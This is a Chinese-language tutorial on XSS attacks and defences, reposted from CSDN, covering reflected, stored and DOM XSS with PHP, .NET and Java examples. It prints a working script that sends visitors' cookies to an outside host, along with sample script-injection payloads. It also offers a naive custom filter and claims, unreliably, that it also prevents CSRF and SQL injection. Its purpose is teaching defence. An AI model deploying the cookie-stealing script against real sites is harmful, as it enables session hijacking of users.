[點晴永久免費OA]Web安全之XSS跨站腳本攻擊
本文主要選擇常見web攻擊手段之一的XSS(跨站點腳本攻擊)來進行講解,說明其攻擊原理,并提出相應(yīng)的解決辦法。 XSS XSS 攻擊,全稱是“跨站點腳本攻擊”(Cross Site Scripting),之所以縮寫為 XSS,主要是為了和“層疊樣式表”(Cascading Style Sheets,CSS)區(qū)別開,以免混淆。 XSS是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其他用戶使用的頁面中。XSS是針對Web站點的客戶隱私的攻擊,當客戶詳細信息失竊或受控時可能引發(fā)徹底的安全威脅。大部分網(wǎng)站攻擊只涉及兩個群體:黑客和 Web 站點,或者黑客和客戶端受害者。與那些攻擊不同的是,XSS 攻擊同時涉及三個群體:黑客、客戶端和 Web 站點。XSS 攻擊的目的是盜走客戶端 cookies,或者任何可以用于在 Web 站點確定客戶身份的其他敏感信息。手邊有了合法用戶的標記,黑客可以繼續(xù)扮演用戶與站點交互,從而冒充用戶。 舉例來說,可以利用 XSS 攻擊窺視用戶的信用卡號碼和私有信息。通過利用 Web 站點的訪問特權(quán),在受害者(客戶端)瀏覽器上運行惡意的JavaScript代碼來實現(xiàn)。這些是非常有限的JavaScript特權(quán),除了與站點相關(guān)的信息,一般不允許腳本訪問其他任何內(nèi)容。重點強調(diào)的是,雖然 Web 站點上存在安全漏洞,但是 Web 站點從未受到直接傷害。但是這已經(jīng)足夠讓腳本收集 cookies,并且將它們發(fā)送給黑客。 跨站腳本攻擊有兩種攻擊形式: 1. 反射型跨站腳本攻擊 攻擊者會通過社會工程學(xué)手段,發(fā)送一個URL連接給用戶打開,在用戶打開頁面的同時,瀏覽器會執(zhí)行頁面中嵌入的惡意腳本。 2. 存儲型跨站腳本攻擊 攻擊者利用web應(yīng)用程序提供的錄入或修改數(shù)據(jù)功能,將數(shù)據(jù)存儲到服務(wù)器或用戶cookie中,當其他用戶瀏覽展示該數(shù)據(jù)的頁面時,瀏覽器會執(zhí)行頁面中嵌入的惡意腳本。所有瀏覽者都會受到攻擊。 3. DOM跨站攻擊 由于html頁面中,定義了一段JS,根據(jù)用戶的輸入,顯示一段html代碼,攻擊者可以在輸入時,插入一段惡意腳本,最終展示時,會執(zhí)行惡意腳本。 DOM跨站和以上兩個跨站攻擊的差別是,DOM跨站是純頁面腳本的輸出,只有規(guī)范使用javascript,才可以防御。 原理 讀到這里,相信大家對XSS的概率已經(jīng)有了一定的理解,下面我們通過舉例來說說攻擊的原理。 如果下面是我們網(wǎng)站的一段PHP代碼: <tr> <td><?=$row["id"] ?></td> <td><?=$row["pname"]?></td> <td><?=$row["pdesc"]?></td> <td><?=$row["ptype"]?></td> </tr> 那么攻擊者可以在添加產(chǎn)品時插入惡意腳本: 攻擊者發(fā)布產(chǎn)品后,等待用戶瀏覽產(chǎn)品列表頁面,用戶瀏覽頁面如下: 就會執(zhí)行攻擊者寫的inbreak.net/a.js惡意腳本。腳本內(nèi)容如下: a=document.createElement("iframe"); function b(){e=escape(document.cookie); c=["http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie=",e,Math.random()]; document.body.appendChild(a);a.src=c.join();} setTimeout(''b()'',5000); 其功能是獲取當前瀏覽者的cookie,并發(fā)送到a.php,用戶的cookie已經(jīng)就會到攻擊者的服務(wù)器上。攻擊者利用瀏覽器插件,將自己的cookie替換成剛剛獲取的用戶的cookie,就可以貍貓換太子的冒充用戶了。 防御 原理說清楚了,再來談?wù)勅绾畏烙伞?/span> 最基本的防御就是對用戶的輸入進行轉(zhuǎn)義,例如 <script type=''text/javascript''>alert(''hello world'')</script> 如果直接保存這個字符串的話,然后再輸出的話,就會運行JS了。 我們需要將這個字符串轉(zhuǎn)義成: "<script type=''text/javascript''>alert(''hello world'')</script>" 有些語言自帶的就有一些函數(shù)來實現(xiàn)轉(zhuǎn)義的功能。 比如php中,提供了 htmlspecialchars() 函數(shù)可以將HTML 特殊字符轉(zhuǎn)化成在網(wǎng)頁上顯示的字符實體編碼。這樣即使用戶輸入了各種HTML 標記,在讀回到瀏覽器時,會直接顯示這些HTML 標記,而不是解釋執(zhí)行。 這里舉一個例子: <b> 歡迎:<?= $welcome_msg?></b> 攻擊者輸入: <script>evil_script()</script> 結(jié)果為: <b>歡迎:<script>evil_script()</script></b> 分析可以得知,在HTML 正文背景下,< > 字符會引入HTML 標記,& 可能會認為字符實體編碼的開始,所以需要將< > & 轉(zhuǎn)義。為簡潔起見,直接使用 htmlspecialchars() 將5 種HTML 特殊字符轉(zhuǎn)義,如: <b>歡迎:<?= htmlspecialchars($welcome_msg, ENT_NOQUOTES)?></b> 其中ENT_NOQUOTES的意思是不對單引號和雙引號進行編碼。 而其他語言,比如.net,則有微軟提供的類庫AntiXSS,它的實現(xiàn)原理是白名單機制。使用起來也很簡單,就是通過AntiXss.GetSafeHtmlFragment(html)方法,來替換掉html里的危險字符。代碼如下: var html = "<a href=\"#\" onclick=\"alert();\">aaaaaaaaa</a>javascript<P><IMG SRC=javascript:alert(''XSS'')><javascript>alert(''a'')</javascript><IMG src=\"abc.jpg\"><IMG><P>Test</P>"; string safeHtml = AntiXss.GetSafeHtmlFragment(html); Console.WriteLine(safeHtml); 上面的危險內(nèi)容會被成功替換為: <a href="">aaaaaaaaa</a>javascript <p><img src="">alert(''a'')<img src="abc.jpg"><img></p> <p>Test</p> 同樣的,在java中,也可以通過引入第三方的jar包,來避免XSS攻擊,比如commons-lang-2.5.jar。 即使不使用自帶的方法或者第三方庫,我們還可以通過自己編寫方法來實現(xiàn)轉(zhuǎn)義。 private String cleanXSS(String value) { value = value.replaceAll("<", "& lt;").replaceAll(">", "& gt;"); value = value.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41;"); value = value.replaceAll("''", "& #39;"); value = value.replaceAll("eval\\((.*)\\)", ""); value = value.replaceAll("[\\\"\\\''][\\s]*javascript:(.*)[\\\"\\\'']", "\"\""); value = value.replaceAll("script", ""); return value; } 這種自定義函數(shù)過濾器的方法,不僅僅防御XSS攻擊,還可以防御CSRF攻擊和SQL注入等安全問題。 ———————————————— 版權(quán)聲明:本文為CSDN博主「布瑞澤的童話」的原創(chuàng)文章,遵循 CC 4.0 BY-SA 版權(quán)協(xié)議,轉(zhuǎn)載請附上原文出處鏈接及本聲明。
該文章在 2020/4/8 11:43:59 編輯過 |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |